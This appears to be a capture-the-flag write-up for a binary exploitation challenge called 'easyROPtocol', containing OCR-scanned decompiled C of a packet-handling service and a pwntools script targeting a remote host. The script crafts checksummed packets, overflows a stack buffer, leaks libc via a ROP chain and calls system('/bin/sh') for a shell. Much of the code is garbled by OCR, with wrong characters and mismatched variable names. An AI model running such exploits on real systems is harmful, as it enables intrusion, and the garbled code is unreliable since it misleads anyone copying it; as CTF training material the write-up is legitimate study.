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vold sub_40164F()

{
size_t v@; // rax
unsigned int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

for ( 1 = ©; 1 <= 3 && qword_404240[1i]; ++i )

if (11=4)
{
gqword_404240[i] = malloc(@x1@eeuLl);
read(e, (void *)qword_4e424e[i], exleeeuLL);
vl = sub_4014AF (gqword_4e4248[1i]);
if ( sub_4e159e(qword_4e424e[i]) & vl )

{
dword_40422C = 1;

}

else

{
ve = strlen(aBengBuZhulLe);
write(2, aBengBuZhule, v0);
free((void *)qword_404240[1]);
qword_404240[1] = OLL;
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inte4 _ fastcall sub_4e14AF(__int64 al)
__int64 result; // rax

1

2

3

4

5 if ( *(_WORD *)al != 30318 )

6 return 6LL;

7 if ( *(_WORD *)(al + 2) != 1e423 )

8 return 6LL;

9 if ( !'*(_DWORD *)(al + 4) )

(%] return 6LL;

1 if ( !'*(_DWORD *)(al + 8) )

2 return 6LL;

3 if ( !'*(_WORD *)(al + 14) )

< return 6LL;

5 if ( *(_WORD *)(al + 18) )

6 return eLL;

7 if (4 * (*(_WORD *)(al + 12) & ©xF) == 20 )
8 goto LABEL_18;

9 if (4 * (*(_WORD *)(al + 12) & @xF) != 24 )
e return 6LL;

1 if ( *(_WORD *)(al + 22) == OxFFFF )

2 LABEL_18:

3 result = 1LL;

4 else

5 result = @LL;

6 return result;
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} |
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1_BOOL8 __ fastcall sub_401598(__inte4 al)

|

2
3 char v2[23]; // [rsp+Bh] [rbp-1Dh] BYREF
4 unsigned __intl1é j; // [rsp+22h] [rbp-6h]
5 unsigned __intl6 1; // [rsp+24h] [rbp-4h]
6 __intl6 v5; // [rsp+26h] [rbp-2h]

7

8

strcpy(v2, "fakeipheadfa");
9 *(_QWORD *)&v2[13] = v2;
18 v5 = 6;
11 for (1 =0; 1 <= 5u; ++1 )
12 v5s A= *(_WORD *)(2LL * i + *(_QWORD *)&v2[13]);
13 *(_QWORD *)&v2[13] = al;
14 for ( 7 = @; 7] <= @x7FFu; ++7 )

15 {

16 if (7 1=8)

17 v5 A= *(_WORD *)(2LL * § + *(_QWORD *)&v2[13]);
18 }

19 return v5 == *(_WORD *)(z2l + 16);

20}
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struct message {

uint32_t heap; // FEfH 0x28b7766e
uint32_t size; // submitR¥FHmemcpy s, KK N1 ©x1001 0x2001 0x3001
uint32_t _1; // AfEAe

uintl6_t type; // EANSEL N6

uintle_t 2; // AEENO

uintl6_t check_sum; // KI&AN

uintle_t _3; // WFiNe

uintlé_t flagl; // wIEflsubmiteR%H o2
uintle_t flag2; // Htypeheht, DBAUHOxffff
char data[]; // %
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def calc_sum(payload):

res = 0

payload = b"fakeipheadfa" + payload

assert len(payload) % 2 ==

for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ~= tmp

return res

11
lssize_t sub_4e183@e()

2q

3  const void *v@; // rbx

4 size_t v1; // rax

5 size_t v2; [/ rax

& char s[24]; // [rsp+@h] [rbp-3©20h] BYREF

7 int i; // [rsp+3008h] [rbp-18h]

8 int v6; // [rsp+3@eCh] [rbp-14h]

9

B v =1;

1 memset(s, ©, ex3eeeuLL);

2 while ( dword_4@422C )

3 A

4 for (1 =@; i <= 3 && (!gword_4ed24e[i] || *(_DWORD *)(qword_404248[i] + 4LL) != vE); ++1i )
5 H

6 if (1==4)

7 break;

8 if (4 * (*(_WORD *)(qword_40424@[i] + 12LL) & ©xF) != 2@ &8 *(_WORD *)(quord_4e424e[i] + 20LL) )
] {

] ve = (const void *)(qword_4e4248[i] + 4 * (*(_WORD *)(qword_4e4248[i] + 12LL) & exF));

1 vl = strlen(s);

2 memcpy (&s[v1l], ve, exleeeuLl);

3 vE += 4096;

4.} |

5 else

5

7 strepy(s, (const char *)(4 * (*(_WORD *)(qword_4e424@8[i] + 12LL) & ©xF) + qword_4e424e[i]));
8 dword_48422C = 0;

9 b

e }

1 v2 = strlen(s);

2 write(1, =, v2);

3 return write(1, "Done.\n", 6uLlL);
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from pwn import *
io=remote("node4.buuoj.cn",29878)
elf=ELF("./pwn")
1ib=ELF("./1libc-2.31.s0")
menu = lambda x : io.sendlineafter("4. Quit.\n", str(x))
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res “= tmp
return res

def get_message(size, data=b""):
payload = b""
payload += p32(0x28b7766e) # head
payload += p32(size)
payload += p32(1)
payload += p16(6)
payload += pl16(1) # 7
# check sum/F4:4h I
payload += p16(0)
payload += pl6(1) # 10
payload += plé6(oxffff)
payload += data
last = payload[:0x10]+pl6(calc_sum(payload))+payload[0x10: ]
return last

def create(size, data=b""):
menu(1)
sleep(1)
data = get_message(size, data)
io.sendline(data)

def delete(idx):
menu(2)
sleep(0.1)
io.sendlineafter("Which?",str(i))

def submit():
menu(3)
#io.sendline(b'3")
sleep(0.1)

context.update(timeout=10)

payload = cyclic(@xfe8)
create(1, payload)



create(0x1001, payload)
create(0x2001,payload)
pop_rsi_ril5= 0x0000000000401bbl

pay_attack = flat(

[
pop_rsi_ri5,
elf.got['write'],
o,
elf.plt['write'],
0x401a5e

]

create(0x3001, flat({112:pay_attack}, length=0x400))

submit()

write=u64(io.recv(6).1just(8,b'\x00"'))
system=atoi+lib.sym[ 'system']-1ib.sym['write']
str_bin_sh=atoi+lib.sym['str_bin_sh']-1ib.sym['write']

delete(9)
delete(1)
delete(2)
delete(3)

payload = cyclic(@xfe8)
create(1, payload)

create(0x1001, payload)
create(0x2001, payload)

pop_rdi=0x0000000000401bb3
pay_attack =p64(pop_rdi)+p64(str_bin_sh)+p64(system)

create(0x3001, flat({112-6:pay_attack}, length=0x400))
submit()

io.interactive()



	easyROPtocol

